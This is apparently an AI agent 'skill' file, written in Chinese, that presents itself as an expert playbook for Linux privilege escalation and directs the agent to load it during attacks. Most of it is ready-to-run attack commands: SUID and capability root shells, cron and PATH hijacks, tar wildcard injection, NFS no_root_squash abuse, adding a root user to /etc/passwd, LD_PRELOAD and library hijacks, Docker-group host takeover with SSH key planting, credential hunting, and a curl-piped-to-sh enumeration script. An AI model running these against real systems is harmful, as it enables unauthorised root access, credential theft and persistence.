linux-privilege-escalation

技能：Linux 权限提升 — 专家攻击手册

AI 加载指令：Linux 专家级权限提升技术。涵盖枚举、SUID/SGID、Capabilities、cron 滥用、内核漏洞、NFS、可写的 passwd/shadow、LD_PRELOAD、Docker 组和库劫持。基础模型会遗漏通过 Capabilities 和组合配置错误实现的隐蔽提权路径。

0. 相关路由

深入分析前，可考虑加载：

• container-escape-techniques：目标是容器且需要逃逸到宿主机时
• linux-security-bypass：遇到受限 shell、AppArmor、SELinux 或 seccomp 时
• linux-lateral-movement：获取 root 后，向相邻主机横向移动时
• kubernetes-pentesting：目标主机是 Kubernetes 节点时

高级参考

在需要以下内容时，也请加载 SUID_CAPABILITIES_TRICKS.md：

• 前 30 个 SUID 二进制文件及其精确利用命令（GTFOBins）
• 针对每种危险 cap 的专属利用方法
• 自定义 SUID 二进制文件利用方法

在需要以下内容时，也请加载 KERNEL_EXPLOITS_CHECKLIST.md：

• 内核版本 → 漏洞利用映射表（DirtyPipe、DirtyCow、OverlayFS 等）
• 漏洞利用编译技巧和交叉编译说明
• 内核漏洞利用稳定性评估

---

1. 枚举检查清单

获得 shell 后立即运行：

系统信息

uname -a                        # Kernel version
cat /etc/os-release             # Distro and version
cat /proc/version               # Kernel compile info
hostname && id && whoami        # Current context

Sudo 与 SUID/SGID

sudo -l                         # What can we run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -perm -2000 -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # Files with capabilities

Cron 与计时器

cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all     # systemd timers

可写文件与目录

find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow  # Check permissions
find / -perm -o+w -type d 2>/dev/null   # World-writable dirs

网络与服务

ss -tlnp                        # Listening services
cat /proc/net/tcp               # Raw TCP connections
ps aux                          # Running processes
env                             # Environment variables (credentials?)

凭据位置

cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

---

2. SUID/SGID 利用

GTFOBins 方法

1. 查找 SUID 二进制文件：find / -perm -4000 -type f 2>/dev/null
2. 在 GTFOBins 中逐一查找
3. 请特别使用 “SUID” 部分——并非所有二进制文件滥用方法都适用于 SUID

快速提权：SUID

二进制文件	命令
bash	bash -p
find	find . -exec /bin/sh -p \; -quit
vim	vim -c ':!/bin/sh'
python	python -c 'import os; os.execl("/bin/sh","sh","-p")'
env	env /bin/sh -p
nmap（旧版）	nmap --interactive → !sh
awk	awk 'BEGIN {system("/bin/sh -p")}'
less	less /etc/passwd → !/bin/sh
cp	复制 /etc/passwd，添加 root 用户，再复制回去

共享库劫持（SUID 二进制文件）

ldd /usr/local/bin/suid_binary                    # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so"  # Find load paths

# If it loads from a writable directory — inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")

---

3. 滥用 Capabilities

Capability	风险	利用方法
cap_setuid	严重	python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
cap_dac_override	严重	无视权限读取/写入任意文件
cap_dac_read_search	高	读取任意文件——转储 /etc/shadow
cap_sys_admin	严重	挂载文件系统、使用 BPF、操纵命名空间
cap_sys_ptrace	高	通过 ptrace 向 root 进程注入代码
cap_net_raw	中	嗅探流量、ARP 欺骗
cap_net_bind_service	低	绑定特权端口（<1024）
cap_fowner	高	更改任意文件的所有权

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

---

4. 滥用 CRON / 计时器

可写的 Cron 脚本

# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/

# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron → /tmp/bash -p

Cron 中的 PATH 劫持

# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh

通配符注入（tar）

# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments

pspy — 无需 root 监控进程

# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes

---

5. NFS NO_ROOT_SQUASH

# On attacker: check exported shares
showmount -e TARGET_IP

# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On target:
/share/bash -p    # root shell

---

6. 可写的 /etc/passwd 或 /etc/shadow

可写的 /etc/passwd

# Generate password hash
openssl passwd -1 -salt xyz password123
# → $1$xyz$...hash...

# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's 'x' with generated hash (if no shadow file)

可写的 /etc/shadow

# Generate SHA-512 hash
mkpasswd -m sha-512 password123

# Replace root's hash in /etc/shadow

---

7. 配合 Sudo 使用 LD_PRELOAD / LD_LIBRARY_PATH

# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary

---

8. 从 Docker 组提权至 root

# If current user is in the docker group:
id    # check for "docker" in groups

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
  'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'

---

9. Python / Perl / Ruby 库劫持

# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'

# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF

# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation

---

10. 自动化工具

工具	用途	命令
LinPEAS	全面枚举	curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
linux-exploit-suggester	内核漏洞利用建议	./linux-exploit-suggester.sh
pspy	监控进程（无需 root）	./pspy64
LinEnum	传统枚举	./LinEnum.sh -t
GTFOBins	SUID/sudo/能力滥用参考	https://gtfobins.github.io/

---

11. 权限提升决策树

Low-privilege shell obtained
│
├── sudo -l shows entries?
│   ├── GTFOBins match? → exploit directly
│   ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
│   ├── NOPASSWD on custom script? → review script for injection
│   └── (ALL) with password? → check for password reuse/hashes
│
├── SUID/SGID binaries found?
│   ├── Standard binary on GTFOBins? → SUID exploit (§2)
│   ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
│   └── Shared lib from writable path? → library hijack (§2)
│
├── Capabilities on binaries?
│   ├── cap_setuid? → instant root (§3)
│   ├── cap_dac_override? → write /etc/passwd (§6)
│   ├── cap_sys_admin? → mount / namespace tricks
│   └── cap_sys_ptrace? → process injection
│
├── Cron jobs running as root?
│   ├── Writable script? → inject payload (§4)
│   ├── Missing full path? → PATH hijack (§4)
│   └── Uses wildcards? → wildcard injection (§4)
│
├── Writable sensitive files?
│   ├── /etc/passwd writable? → add root user (§6)
│   ├── /etc/shadow writable? → replace root hash (§6)
│   └── systemd unit files writable? → add ExecStartPre
│
├── Docker/LXD group membership?
│   └── Yes → mount host filesystem (§8)
│
├── NFS shares with no_root_squash?
│   └── Yes → SUID binary via NFS (§5)
│
├── Kernel version old/unpatched?
│   └── Check KERNEL_EXPLOITS_CHECKLIST.md
│
└── None of the above?
    ├── Run LinPEAS for comprehensive scan
    ├── Check for password reuse (bash_history, config files)
    ├── Check internal services (127.0.0.1 listeners)
    └── Monitor processes with pspy for hidden opportunities